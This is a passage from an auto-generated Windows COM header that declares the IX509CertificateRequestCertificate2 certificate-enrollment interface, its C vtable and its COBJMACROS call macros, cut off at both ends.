put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate2 : public IX509CertificateRequestCertificate\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificate2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificate2Vtbl;\n\n    interface IX509CertificateRequestCertificate2\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificate2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> 